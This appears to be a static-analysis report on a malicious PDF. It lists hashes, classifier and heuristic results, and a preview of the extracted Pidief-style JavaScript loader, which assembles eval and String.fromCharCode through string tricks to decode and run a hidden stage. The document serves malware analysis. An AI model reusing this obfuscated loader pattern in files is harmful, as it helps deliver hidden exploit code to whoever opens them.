Malicious PDF — malware analysis report

Static analysis result for SHA-256 9810c6f27424468a…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-09-24
MD5: 7df4315737c93b4d4228abfc21e07d7e SHA-1: ae5b3d82ff5e6c193ae5e4a0403670f581dbf628 SHA-256: 9810c6f27424468a56dee6d6b24fc80b92e1e05b586b68f9b62ee144d7a2b836
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0E6 407 bytes
SHA-256: 25988ec59036636bf42a8c717587ef1a26037fbfaa82ad27a4d5339d2719c0fc
Preview script
First 1,000 lines of the extracted script
mxi='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ayu=e('ti'+'tle');
s=ayu.substr(t.length + 8,3)+'str';
q=ayu[s](1,t.length + 7);
ucpsh=e(v[0].toUpperCase()+'tring.fro'+q);
q=ayu[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	gho = parseInt(q[i]) + parseInt(q[i+1]);
	mxi += ucpsh(gho);
}
e(mxi);

Open this report in the interactive analyzer, or submit your own file for analysis.